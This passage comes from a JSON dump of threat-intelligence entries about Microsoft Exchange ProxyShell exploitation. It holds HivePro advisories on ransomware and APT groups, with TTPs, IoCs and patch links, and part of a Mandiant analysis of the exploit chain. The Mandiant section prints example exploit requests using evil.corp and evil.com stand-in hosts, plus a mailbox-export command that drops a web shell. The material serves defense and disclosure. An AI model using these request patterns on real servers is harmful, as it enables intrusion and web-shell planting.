ProxyShell vulnerabilities have been fixed in the latest updates from Microsoft. Organizations can patch these vulnerabilities using the patch links given below. The MITRE TTPs commonly used by APT35 are: TA0001: Initial AccessTA0002: ExecutionTA0003: PersistenceTA0004: Privilege EscalationTA0005: Defense EvasionTA0006: Credential AccessTA0007: DiscoveryTA0011: Command and ControlT1190: Exploit Public-Facing ApplicationT1003: OS Credential DumpingT1098: Account ManipulationT1078: Valid AccountsT1105: Ingress Tool TransferT1036: MasqueradingT1036.005: Masquerading: Match Legitimate Name or LocationT1543: Create or Modify System ProcessT1543.003: Create or Modify System Process: Windows ServiceT1505: Server Software ComponentT1505.003: Server Software Component: Web ShellT1082: System Information DiscoveryT1016: System Network Configuration DiscoveryT1033: System Owner/User DiscoveryT1059: Command and Scripting InterpreterT1059.003: Command and Scripting Interpreter: Windows Command Shell Actor Details Vulnerability Details Indicators of Compromise (IoCs) Patches https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 References https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-25T04:05:09", "type": "hivepro", "title": "Magic Hound Exploiting Old Microsoft Exchange ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-25T04:05:09", "id": "HIVEPRO:DB06BB609FE1B4E7C95CDC5CB2A38B28", "href": "https://www.hivepro.com/magic-hound-exploiting-old-microsoft-exchange-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-07T15:20:43", "description": "#### THREAT LEVEL: Red.\n\n \n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/12/BlackByte-ransomware-exploits-Microsoft-Servers-ProxyShell-vulnerabilities_TA202155.pdf>)\n\nBlackByte ransomware is targeting organizations with unpatched ProxyShell vulnerabilities. Proxy Shell was addressed by hive pro threat researcher in the previous [advisory](<https://www.hivepro.com/proxyshell-and-petitpotam-exploits-weaponized-by-lockfile-ransomware-group/>) released on August 24.\n\nProxyShell is a combination of three flaws in Microsoft Exchange:\n\nCVE-2021-34473 Pre-auth path confusion vulnerability to bypass access control. \nCVE-2021-34523 Privilege escalation vulnerability in the Exchange PowerShell backend. \nCVE-2021-31207 Post-auth remote code execution via arbitrary file write.\n\nThese security flaws are used together by threat actors to perform unauthenticated, remote code execution on vulnerable servers. After exploiting these vulnerabilities, the threat actors then install web shells, coin miners, ransomwares or backdoors on the servers. Attackers then use this web shell to deploy cobalt strike beacon into Windows Update Agent and get the credentials for a service account on compromised servers. The actor then installs Anydesk to gain control of the system and do lateral movement in the organization network. Post exploitation, attackers carry on with using Cobalt Strike to execute the Blackbyte ransomware and encrypt the data.\n\nAffected organizations can decrypt their files using a free decryption tool written by [Trustwave](<https://github.com/SpiderLabs/BlackByteDecryptor>). Users can patch their server for ProxyShell vulnerabilities using the link down below.\n\n**Techniques used by Blackbyte ransomware are :**\n\nT1505.003 Server Software Component: Web Shell \nT1055 Process Injection \nT1059.001 Command and Scripting Interpreter: PowerShell \nT1595.002 Active Scanning: Vulnerability Scanning \nT1027 Obfuscated Files of Information \nT1490 Inhibit System Recovery \nT1112 Modify Registry \nT1562.001 Impair Defenses: Disable or Modify Tools \nT1562.004 Impair Defenses: Disable or Modify System Firewall \nT1018 Remote System Discovery \nT1016 System Network Configuration Discovery \nT1070.004 Indicator Removal on Host: File Deletion \nT1560.001 Archive Collected Data: Archive via Utility\n\n[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F12%2FMicrosoft-could-not-patch-this-vulnerability-yet-again_TA202153.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )\n\n \n\n#### Vulnerability Details\n\n \n\n![](https://www.hivepro.com/wp-content/uploads/2021/12/Vulnerability-detail-1024x314.png)\n\n \n\n#### Actor Detail\n\n \n\n![](https://www.hivepro.com/wp-content/uploads/2021/12/actor-detail-1024x126.png)\n\n \n\n#### Indicators of Compromise(IoCs)\n\n \n\n![](https://www.hivepro.com/wp-content/uploads/2021/12/IoC-1024x187.png)\n\n \n\n#### Patch Link\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>\n\n \n\n#### References\n\n<https://redcanary.com/blog/blackbyte-ransomware/>\n\n<https://www.techtarget.com/searchsecurity/news/252510334/BlackByte-ransomware-attacks-exploiting-ProxyShell-flaws>\n\n<https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-blackbyte-ransomware/>\n\n<https://www.stellarinfo.com/blog/blackbyte-ransomware-attacks-exchange-servers-with-proxyshell-flaws/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-07T13:24:49", "type": "hivepro", "title": "BlackByte ransomware exploits Microsoft Servers ProxyShell Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-12-07T13:24:49", "id": "HIVEPRO:10B372979ED5F121D7A84FB66487023E", "href": "https://www.hivepro.com/blackbyte-ransomware-exploits-microsoft-servers-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-24T12:00:56", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here](<https://www.hivepro.com/wp-content/uploads/2021/08/TA202131.pdf>)[.](<https://www.hivepro.com/wp-content/uploads/2021/08/TA202130.pdf>)\n\nLockFile, a new ransomware gang, has been active since last week. LockFile began by using a publicly disclosed PetitPotam exploit (CVE-2021-36942) to compromise Windows Domain Controllers earlier this week. Using ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207), they've now infiltrated many Microsoft Exchange Servers . The origins of this gang are most likely China. This gang used a similar ransomware note as of LokiBot and is been linked to Conti ransomware due to the email id provided (contact@contipauper[.]com). HivePro Threat Research team advises everyone to patch the vulnerabilities to prevent an attack.\n\n#### Vulnerability Details\n\n![](https://www.hivepro.com/wp-content/uploads/2021/08/Screenshot-2021-08-24-143356-1024x387.png)\n\n#### Actor Details\n\n**Name** | **Target Locations** | **Target Sectors** | \n---|---|---|--- \nLockFile Ransomware | United States of America and Asia | Manufacturing, financial services, engineering, legal, business services, and travel and tourism sectors | \n \n#### Indicators of Compromise (IoCs)\n\n**Type** | **Value** \n---|--- \nIP Address | 209.14.0.234 \nSHA-2 Hash | ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291 \ncafe54e85c539671c94abdeb4b8adbef3bde8655006003088760d04a86b5f915 \n36e8bb8719a619b78862907fd49445750371f40945fefd55a9862465dc2930f9 \n5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f \n1091643890918175dc751538043ea0743618ec7a5a9801878554970036524b75 \n2a23fac4cfa697cc738d633ec00f3fbe93ba22d2498f14dea08983026fdf128a \n7bcb25854ea2e5f0b8cfca7066a13bc8af8e7bac6693dea1cdad5ef193b052fd \nc020d16902bd5405d57ee4973eb25797087086e4f8079fac0fd8420c716ad153 \na926fe9fc32e645bdde9656470c7cd005b21590cda222f72daf854de9ffc4fe0 \n368756bbcaba9563e1eef2ed2ce59046fb8e69fb305d50a6232b62690d33f690 \nd030d11482380ebf95aea030f308ac0e1cd091c673c7846c61c625bdf11e5c3a \na0066b855dc93cf88f29158c9ffbbdca886a5d6642cbcb9e71e5c759ffe147f8 \n \n#### Patch Links\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36942>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>\n\n#### References\n\n<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>\n\n<https://www.bleepingcomputer.com/news/security/lockfile-ransomware-uses-petitpotam-attack-to-hijack-windows-domains/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-24T10:35:48", "type": "hivepro", "title": "ProxyShell and PetitPotam exploits weaponized by LockFile Ransomware Group", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-36942"], "modified": "2021-08-24T10:35:48", "id": "HIVEPRO:C0B03D521C5882F1BE07ECF1550A5F74", "href": "https://www.hivepro.com/proxyshell-and-petitpotam-exploits-weaponized-by-lockfile-ransomware-group/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-27T15:34:57", "description": "For a detailed threat digest, download the pdf file here Published Vulnerabilities Interesting Vulnerabilities Active Threat Groups Targeted Countries Targeted Industries ATT&CK TTPs 430 5 2 Worldwide 17 46 The fourth week of April 2022 witnessed the discovery of 430 vulnerabilities out of which 5 gained the attention of Threat Actors and security researchers worldwide. Among these 5, there was 1 zero-day, and 1 vulnerability that was awaiting analysis on the National Vulnerability Database (NVD). Hive Pro Threat Research Team has curated a list of 5 CVEs that require immediate action. Further, we also observed Two Threat Actor groups being highly active in the last week. Lazarus, a North Korea threat actor group popular for financial crime and gain, was observed targeting blockchain technology and the cryptocurrency industry using a new malware TraderTraitor and Hive ransomware group was seen using the ProxyShell vulnerabilities to target organizations all around the world. Common TTPs which could potentially be exploited by these threat actors or CVEs can be found in the detailed section. Detailed Report: Interesting Vulnerabilities: Vendor CVEs Patch Link CVE-2021-34473 CVE-2021-34523 CVE-2021-31207 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207 CVE-2022-0540 https://www.atlassian.com/software/jira/core/download https://www.atlassian.com/software/jira/update CVE-2022-29072* Not Available Active Actors: Icon Name Origin Motive Lazarus Group (APT38, BlueNoroff, and Stardust Chollima) North Korea Financial crime and gain Hive Ransomware Group Unknown Financial crime and gain Targeted Location: Targeted Sectors: Common TTPs: TA0042: Resource Development TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and Control TA0010: Exfiltration TA0040: Impact T1588: Obtain Capabilities T1190: Exploit Public-Facing Application T1059: Command and Scripting Interpreter T1136: Create Account T1134: Access Token Manipulation T1134: Access Token Manipulation T1110: Brute Force T1083: File and Directory Discovery T1570: Lateral Tool Transfer T1560: Archive Collected Data T1071: Application Layer Protocol T1567: Exfiltration Over Web Service T1486: Data Encrypted for Impact T1588.005: Exploits T1566: Phishing T1059.007: JavaScript T1136.002: Domain Account T1543: Create or Modify System Process T1140: Deobfuscate/Decode Files or Information T1003: OS Credential Dumping T1135: Network Share Discovery T1021: Remote Services T1560.001: Archive via Utility T1071.001: Web Protocols T1496: Resource Hijacking T1588.006: Vulnerabilities T1566.001: Spearphishing Attachment T1059.001: PowerShell T1053: Scheduled Task/Job T1068: Exploitation for Privilege Escalation T1562: Impair Defenses T1003.005: Cached Domain Credentials T1057: Process Discovery T1021.001: Remote Desktop Protocol T1005: Data from Local System T1105: Ingress Tool Transfer T1566.002: Spearphishing Link T1059.003: Windows Command Shell T1053.005: Scheduled Task T1053: Scheduled Task/Job T1562.001: Disable or Modify Tools T1018: Remote System Discovery T1021.002: SMB/Windows Admin Shares T1113: Screen Capture T1078: Valid Accounts T1106: Native API T1078: Valid Accounts T1053.005: Scheduled Task T1070: Indicator Removal on Host T1518: Software Discovery T1021.006: Windows Remote Management T1078.002: Domain Accounts T1053: Scheduled Task/Job T1078.002: Domain Accounts T1078: Valid Accounts T1553: Subvert Trust Controls T1518.001: Security Software Discovery T1053.005: Scheduled Task T1078.002: Domain Accounts T1078: Valid Accounts T1049: System Network Connections Discovery T1204: User Execution T1078.002: Domain Accounts T1204.002: Malicious File T1047: Windows Management Instrumentation Threat Advisories: Bypass Authentication vulnerability in Atlassian Jira Seraph Hive Ransomware targets organizations with ProxyShell exploit Lazarus is back, targeting organizations with cryptocurrency thefts via TraderTraitor malware What will be the consequence of this disputed vulnerability in 7-ZIP?", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-27T12:44:38", "type": "hivepro", "title": "Weekly Threat Digest: 18 \u2013 24 April 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-0540", "CVE-2022-29072"], "modified": "2022-04-27T12:44:38", "id": "HIVEPRO:09525E3475AC1C5F429611A90182E82F", "href": "https://www.hivepro.com/weekly-threat-digest-18-24-april-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-24T14:24:49", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here Federal Bureau of Investigation and Cybersecurity and Infrastructure Security Agency released threat advisories on AvosLocker Ransomware. It is a Ransomware as a Service (RaaS) affiliate-based group that has targeted 50+ organizations in critical infrastructure sectors such as financial services, manufacturing plants, and government facilities in countries such as the United States, Saudi Arabia, the United Kingdom, Germany, Spain, and the United Arab Emirates, among others. After it's affiliates infect targets, AvosLocker claims to handle ransom negotiations, as well as the publishing and hosting of exfiltrated victim data. The AvosLocker ransomware is a multi-threaded C++ Windows executable that operates as a console application and displays a log of actions performed on victim computers. For the delivery of the ransomware payload, the attackers use spam email campaigns as the initial infection vector. The threat actors exploits Proxy Shell vulnerabilities CVE-2021-31206, CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473, as well as CVE-2021-26855 to gain access to victim\u2019s machine and then they deploy Mimikatz to steal passwords. Furthermore, threat actors can use the detected credentials to get RDP access to the domain controller and then exfiltrate data from the compromised machine. Finally, the attacker installs AvosLocker ransomware on the victim's computer and then encrypts the victim's documents and files with the ".avos" extension. The actor then leaves a ransom letter in each directory named "GET YOUR FILES BACK.txt" with a link to an AvosLocker .onion payment site. The Organizations can mitigate the risk by following the recommendations: \u2022Keep all operating systems and software up to date. \u2022Remove unnecessary access to administrative shares. \u2022Maintain offline backups of data and Ensure all backup data is encrypted and immutable. The MITRE TTPs commonly used by Avoslocker are: TA0001: Initial AccessTA0002: ExecutionTA0007: DiscoveryTA0040: ImpactT1566: PhishingT1204: User ExecutionT1082: System Information DiscoveryT1490: Inhibit System RecoveryT1489: Service StopT1486: Data Encrypted for Impact Actor Detail Vulnerability Details Indicators of Compromise (IoCs) Patches https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31206 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 Recent Breaches https://www.unical.com/ https://www.paccity.net/ https://www.gigabyte.com/ Reference https://www.cisa.gov/uscert/ncas/current-activity/2022/03/22/fbi-and-fincen-release-advisory-avoslocker-ransomware", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-24T06:30:44", "type": "hivepro", "title": "AvosLocker Ransomware group has targeted 50+ Organizations Worldwide", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-24T06:30:44", "id": "HIVEPRO:92FF0246065B21E79C7D8C800F2DED76", "href": "https://www.hivepro.com/avoslocker-ransomware-group-has-targeted-50-organizations-worldwide/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "fireeye": [{"lastseen": "2021-09-07T14:46:37", "description": "In August 2021, Mandiant Managed Defense identified and responded to the exploitation of a chain of vulnerabilities known as ProxyShell.** **The ProxyShell vulnerabilities consist of three CVEs (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) affecting the following versions of on-premises Microsoft Exchange Servers.\n\n * Exchange Server 2013 (Cumulative Update 23 and below)\n * Exchange Server 2016 (Cumulative Update 20 and below)\n * Exchange Server 2019 (Cumulative Update 9 and below)\n\nThe vulnerabilities are being tracked in the following CVEs:\n\n**CVE**\n\n| \n\n**Risk Rating**\n\n| \n\n**Access Vector**\n\n| \n\n**Exploitability**\n\n| \n\n**Ease of Attack**\n\n| \n\n**Mandiant Intel** \n \n---|---|---|---|---|--- \n \nCVE-2021-34473\n\n| \n\nHigh\n\n| \n\nNetwork\n\n| \n\nFunctional\n\n| \n\nEasy\n\n| \n\n[Link](<https://advantage.mandiant.com/cve/vulnerability--8e100992-6111-54ed-96b4-f817cf47edd0>) \n \nCVE-2021-34523\n\n| \n\nLow\n\n| \n\nLocal\n\n| \n\nFunctional\n\n| \n\nEasy\n\n| \n\n[Link](<https://advantage.mandiant.com/cve/vulnerability--f8db969d-dddf-5b2e-81ce-439289be6cde>) \n \nCVE-2021-31207\n\n| \n\nMedium\n\n| \n\nNetwork\n\n| \n\nFunctional\n\n| \n\nEasy\n\n| \n\n[Link](<https://advantage.mandiant.com/cve/vulnerability--5c5c0f7e-96a8-5403-8487-373322342c46>) \n \nTable 1: List of May & July 2021 Microsoft Exchange CVEs and FireEye Intel Summaries\n\n#### Overview\n\nMicrosoft Exchange Server provides email and supporting services for organizations. This solution is used globally, both on-premises and in the cloud. This chain of vulnerabilities exists in unpatched on-premises editions of Microsoft Exchange Server only and is being actively exploited on those servers accessible on the Internet.\n\nMandiant responded to multiple intrusions impacting a wide variety of industries including Education, Government, Business services, and Telecommunications. These organizations are based in the United States, Europe, and Middle East. However, targeting is almost certainly broader than directly observed.\n\nOne specific targeted attack observed by Mandiant, detailed in this post, was against a US-based university where UNC2980 exploited ProxyShell vulnerabilities to gain access to the environment.\n\n#### The Exploit Chain Explained\n\nProxyShell refers to a chain of attacks that exploit three different vulnerabilities affecting on-premises Microsoft Exchange servers to achieve pre-authenticated remote code execution (RCE). The exploitation chain was discovered and [published](<https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell>) by Orange Tsai (@orange_8361) from the DEVCORE Research Team.\n\n##### Delivering the Payload\n\nIn order to later create a web shell on a Microsoft Exchange server by exporting from a mailbox, an attacker first needs to create an email item within a mailbox. In the Metasploit implementation of the attack, the Autodiscover service is abused to leak a known user\u2019s distinguished name (DN), which is an address format used internally within Microsoft Exchange. The Messaging Application Programming Interface (MAPI) is then leveraged to leak the user's security identifier (SID), by passing the previously leaked DN as a request. The SID is then used to forge an access token to communicate with Exchange Web Services (EWS).\n\nWith the attacker able to successfully impersonate the target user with a valid access token, they can perform EWS operations. To continue with the ProxyShell attack, the operation \u2018CreateItem\u2019 is used, which allows the remote creation of email messages in the impersonated user\u2019s mailbox. While responding, Mandiant has seen draft emails with attached web shells, encoded in such a way that they become decoded upon export to PST later in the attack (specifically with permutative encoding).\n\nEmails may also be placed in targeted users' mailboxes via SMTP, as was suggested in Orange Tsai\u2019s documentation of the attack.\n\n##### CVE-2021-34473 \u2014 Pre-auth Path Confusion Leads to ACL Bypass\n\nMicrosoft Exchange has a feature called \u2018Explicit Logon\u2019, which legitimately allows users to open another user's mailbox or calendar in a new browser window by providing the mailbox address in the URL. The feature was designed to only provide access where \u2018Full Access\u2019 is granted to the user, and the target mailbox or calendar is configured to publish. Exchange is designed to normalize the specified mailbox address in the URL to identify the target.\n\nThe vulnerability exists in passing the string Autodiscover/Autodiscover.json to the email field in the URL. By passing that string, Exchange does not perform sufficient checks on the address, and through its normalization process, this leads to arbitrary access to backend URLs as NT AUTHORITY/SYSTEM.\n\nGET /autodiscover/autodiscover.json?@evil.corp/?&Email=autodiscover/autodiscover.json%3F@evil.corp\n\nGET /autodiscover/autodiscover.json?@evil.corp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@evil.corp\n\nPOST /autodiscover/autodiscover.json?@evil.corp/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json%3F@evil.corp\n\nPOST /autodiscover/autodiscover.json?@evil.corp/mapi/emsmdb?&Email=autodiscover/autodiscover.json%3F@evil.corp \n \n--- \n \nFigure 1: Requests showing how an attacker can abuse the normalization process of the Explicit Logon feature\n\n##### CVE-2021-34523 \u2014 Elevation of Privilege on Exchange PowerShell Backend\n\nThe Exchange PowerShell Remoting feature, natively built into Microsoft Exchange, was designed to assist with administrative activities via the command line. The previous exploit allowed an attacker to interface with arbitrary backend URLs as NT AUTHORITY/SYSTEM, however since that user does not have a mailbox, the attacker cannot directly interface with the PowerShell backend (/Powershell) at that privilege level.\n\nThe PowerShell backend checks for the X-CommonAccessToken header in incoming requests. If the header does not exist, another method is used to get a CommonAccessToken. This method checks for the X-Rps-CAT parameter in the incoming request, and if present, deserializes this to a valid CommonAccessToken. With the previously collected information on the target mailbox or default information from built-in mailboxes, passing of a valid X-Rps-CAT value is trivial.\n\nBy passing this value to the PowerShell backend with the previously successful access token, an attacker can downgrade from the NT AUTHORITY/SYSTEM account to the target user. This user must have local administrative privileges in order to execute arbitrary Exchange PowerShell commands.\n\nPOST /autodiscover/autodiscover.json?a=abcde@evil.com/powershell/?X-Rps-CAT=[Base64 encoded data] \n \n--- \n \nFigure 2: This request uses the parameter X-Rps-CAT, which allows valid user impersonation\n\n##### CVE-2021-31207 \u2014 Post-auth Arbitrary-File-Write Leads to RCE\n\nOnce the two previous vulnerabilities are exploited successfully, the vulnerability CVE-2021-31207 allows the attacker to write files. As soon as the attacker is able to execute arbitrary PowerShell commands, and the required \u2018Import Export Mailbox\u2019 role is assigned to the impersonated user (which can be achieved by execution of the New-ManagementRoleAssignment cmdlet), the cmdlet New-MailboxExportRequest can be used to export a user\u2019s mailbox to a specific desired path e.g.\n\nNew-MailBoxExportRequest \u2013 Mailbox john.doe@enterprise.corp -FilePath \\\\\\127.0.0.1\\C$\\path\\to\\webshell.aspx \n \n--- \n \nFigure 3: New-MailBoxExportRequest can be used to export payloads\n\nThe use of New-MailboxExportRequest allows the attacker to export target mailboxes where previously created emails with encoded web shells were created. The attacker can export the mailbox to a PST file format with a web file extension, such as ASPX, which allows the attacker to drop a functional web shell, since the encoded attachments in the email are decoded upon write to the PST file format. This is due to the PST file format using permutative encoding, by attaching a pre-encoded payload, upon export the decoded payload is actually written.\n\n#### Observations From Investigations\n\nMandiant responded to intrusions involving ProxyShell exploitation across a range of customers and industries. Examples of proof-of-concept (PoC) exploits developed and released publicly by security researchers could be leveraged by any threat group, leading to adoption by threat groups with varying levels of sophistication. Mandiant has observed the exploit chain resulting in post-exploitation activities, including the deployment of web shells, backdoors, and tunneling utilities to further compromise victim organizations. As of the release of this blog post, Mandiant tracks eight [UNC groups](<https://www.fireeye.com/blog/products-and-services/2020/12/how-mandiant-tracks-uncategorized-threat-actors.html>) exploiting the ProxyShell vulnerabilities. Mandiant anticipates more clusters will be formed as different threat actors adopt working exploits.\n\n##### Exploitation\n\nMandiant has observed the exploitation of Proxyshell starting with the abuse of Autodiscover services to leak known users distinguished name (DN) to then leverage it to leak the administrator security identifier (SID). \n \nBy using the leaked DN and SID, the attacker can create a mailbox that contains a draft email with a malicious payload as an attachment. Afterwards, the mailbox and the contained payload are exported to a web-accessible directory or another directory on the host.\n\nAttempted exploitation of ProxyShell appears to be mostly automated. In some cases, Mandiant observed only partial attacker success, such as the creation of items in mailboxes remotely, but not the exporting of mailboxes and their contained payloads to another directory on the host.\n\nMandiant has observed a wide range of source IP addresses and user agents attempting HTTP requests consistent with the first stage of the ProxyShell exploit chain.\n\n##### Post-Exploitation\n\nUpon successful exploitation of the vulnerabilities, Mandiant observed multiple payloads to gain a foothold in the network including CHINACHOP and BLUEBEAM web shells (see Malware Definitions section). Follow-on actions include execution of internal reconnaissance commands on servers, and deployment of tunneler utilities.\n\n![](https://www.fireeye.com/content/dam/fireeye-www/blog/images/proxyshell-exchange-servers/fig4-pst.png) \nFigure 4: BLUEBEAM ASP web shell that was embedded into a PST payload\n\n#### Threat Actor Spotlight: UNC2980\n\nIn August 2021, Mandiant Managed Defense responded to an intrusion leveraging the ProxyShell vulnerability at a US-based university. Mandiant tracks this threat actor as UNC2980.\n\nUNC2980 is a cluster of threat activity tracked since August 2021 and believed to be conducting cyber espionage operations. Mandiant suspects this group to be operating from China currently assessed at low confidence. UNC2980 has been observed exploiting CVE-2021-34473, CVE-2021-34523, 